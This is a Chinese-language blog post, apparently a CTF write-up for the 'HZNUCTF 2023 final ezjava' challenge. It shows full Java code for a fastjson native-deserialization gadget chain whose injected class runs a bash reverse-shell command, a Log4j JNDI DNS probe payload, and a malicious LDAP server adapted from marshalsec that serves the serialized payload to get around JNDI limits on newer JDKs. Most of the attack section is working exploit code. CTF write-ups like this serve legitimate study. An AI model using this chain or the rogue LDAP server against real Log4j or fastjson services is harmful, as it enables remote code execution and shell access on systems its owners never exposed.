首页 > 其他分享 >本地class序列化用绕过高版本jdk的JNDI题目

本地class序列化用绕过高版本jdk的JNDI题目

时间:2024-03-29 20:01:45浏览次数:22  
标签:java String jdk JNDI import new 序列化 com payload

[HZNUCTF 2023 final]ezjava

这道题,困扰许久,不是题目逻辑,而是ldap服务起不了。

题目介绍:

Try to fxxk it ( Log4j

打log4j?

进网页,开局几个字,提示fastjson:1.2.48:

尝试一下常用的log4j2payload打一打DNS测一下:

{{urlenc(${jndi:dns://xxxxxxxxx})}}

得到回显,可以看到版本为jdk8u222,这里可以看到是不能jndi一把梭的版本。

绕过高版本jdk打jndi有两个方法,一个是找类似BeanFactory利用原有的工厂类完成链子,还有一个是用本地恶意字节码class文件打ldap。

然而它也提示了fastjson,这里我们采取后者的打法,把fastjson制造的恶意字节码传过去反弹shell。

而1.2.48有其他的poc,我采用的是更高版本的1.2.83的原生反序列化,更高级()

上poc:

package com.fastjsonpoc;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class FastNativeAll {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,<base64反弹shell命令>}|{base64,-d}|{bash,-i}")});
        setValue(templates, "_name", "qiu");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        byte[] serialize = byteArrayOutputStream.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(serialize));

//        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
//        objectInputStream.readObject();

    }
}

这个的依赖随便配一下就行了,带上fastjson版本就行:

运行生成base64编码后的恶意字节码,保存到1.txt。

然后是恶意ldap服务:

package com.jndibypass;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.io.FileUtils;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
//高版本LDAP绕过

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] tmp_args ) throws Exception{
        if (tmp_args.length < 2) {
            System.out.println("Usage: java xxx.jar <IP> <file>");
            System.exit(1);
        }

        String ip = tmp_args[0];
        String[] args = new String[]{"http://" + ip +"/#Evail"};
        String payload = "";
        File file = new File(tmp_args[1]);
        try {
            payload = FileUtils.readFileToString(file);
            System.out.println(payload);
        } catch (IOException e) {
            e.printStackTrace();
        }

        int port = 6666;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        private String payload;

        public OperationInterceptor ( URL cb , String payload) {
            this.codebase = cb;
            this.payload = payload;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e, payload);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData", Base64.decode(payload));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

这里要把这个打成jar包,然后写了两个传入命令行参数的交互,前面一个是起服务的vps,后面一个就是上面那个1.txt。

打成jar包的去搜一下IDEA操作就行,跟着来,因为这个方法是marshalsec改的,所以把那个的pom.xml抄过来maven reload project就行了。

mbechler/marshalsec (github.com)

然后就会报错,找不到主类。

大部分原因是java版本的问题,记得一定要是java8,而且最好跟这个8u222接近,我用的8u401。

其他的原因最好自己搜搜,因为一千个人对这个java有一千个问题,我采用了其他人成功的方法也会失败,所以有缘人自会搜到,在这里我就不乱写了。

原理我会接着在下面的blog写详细,所以这里注重打法。

然后一把梭:

卡住的时候它是又臭又长,做出来的时候是神清气爽。

这就是java的魅力。

 

参考:

[HZNUCTF 2023 final]ezjava | 秋嘞个秋 (sl3epf.github.io)

高JDK的JNDI绕过之复现某比赛0解题 - 先知社区 (aliyun.com)

标签:java,String,jdk,JNDI,import,new,序列化,com,payload
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18104476

相关文章

  • java毕业设计玩具租借系统(Springboot+mysql+jdk1.8+maven3.39)
    本系统(程序+源码)带文档lw万字以上 文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在当今社会,随着人们生活水平的提升和消费观念的变化,儿童教育和娱乐逐渐成为家庭支出的重要部分。玩具作为儿童日常生活中不可或缺的元素,伴随着孩子的成长,......
  • java毕业设计微社区综合服务疫情防控管理系统(Springboot+mysql+jdk1.8+maven3.39)
    本系统(程序+源码)带文档lw万字以上 文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:自新冠疫情爆发以来,社区作为疫情防控的第一线,承担着居民健康监测、防疫物资分配、疫情信息宣传等重要职责。传统的社区疫情防控多依赖人力进行,存在着信息......
  • java毕业设计无偿献血服务平台(Springboot+mysql+jdk1.8+maven3.39)
    本系统(程序+源码)带文档lw万字以上 文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:无偿献血是一项社会公益活动,对于挽救生命、维护人类健康具有极其重要的意义。然而,在实际操作过程中,献血者往往面临信息不对称、献血地点不便、献血后服务......
  • java毕业设计企业员工自助管理系统(Springboot+mysql+jdk1.8+maven3.39)
    本系统(程序+源码)带文档lw万字以上 文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在现代企业管理中,提高管理效率和员工满意度是企业发展的重要目标。随着企业规模的扩大和管理层次的增加,传统的人力资源管理方式已无法满足快速反应和高效......
  • Ajax和django自带序列化组件
    Ajax和django自带序列化组件1.Ajax1.1Ajax介绍AJAX(AsynchronousJavascriptAndXML)翻译成中文就是“异步的Javascript和XML”。即使用Javascript语言与服务器进行异步交互,传输的数据为XML(当然,传输的数据不只是XML)。AJAX不是新的编程语言,而是一种使用现有标准的新方法......
  • Fastjson反序列化分析
    依赖先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId&g......
  • Linux - 安装JDK(.tar.gz)
      1、上传jdk-8u351-linux-x64.tar.gz到/opt/module 目录下并解压tar-zxvfjdk-8u351-linux-x64.tar.gz2、配置/etc/profile文件#文件末尾进行配置exportJAVA_HOME=/opt/module/jdk1.8.0_351exportPATH=$PATH:$JAVA_HOME/bin3、使修改生效,并进行验证source/e......
  • 关联数据和序列化
    由于EFCore会自动修正导航属性,因此在对象图中可能会产生循环引用。例如,加载博客及其关联文章会生成引用文章集合的博客对象。其中每篇文章将返回引用该博客。某些序列化框架不允许使用循环引用。例如,Json.NET在发现循环引用的情况下,会引发以下异常。Newtonsoft.Json.Json......
  • jdk22+maven环境配置教程+idea的maven环境配置(Windows系统)
    前言jdk是Java开发必要的编程环境,idea是常用的Java开发工具,这里着重解释一下maven。maven就是我们经常看见的pom.xml文件,maven有以下三点功能:1.项目构建(可以帮助我们更快速的打包、构建项目)2.依赖管理,例如我们连接数据库需要的jar包驱动、处理excel表格的驱动等,还有相应......
  • ETL工具-nifi干货系列 第四讲 Avro schema 序列化框架
    一、在使用nifi的过程中会使用到遇到avroschema、avrodata、avroReader、avroWriter等,所以本节课和大家一起学习下avro相关知识。 二、什么是AvroApacheAvro是hadoop中的一个子项目,也是一个数据序列化系统,其数据最终以二进制格式,采用行式存储的方式进行存储。三、什么......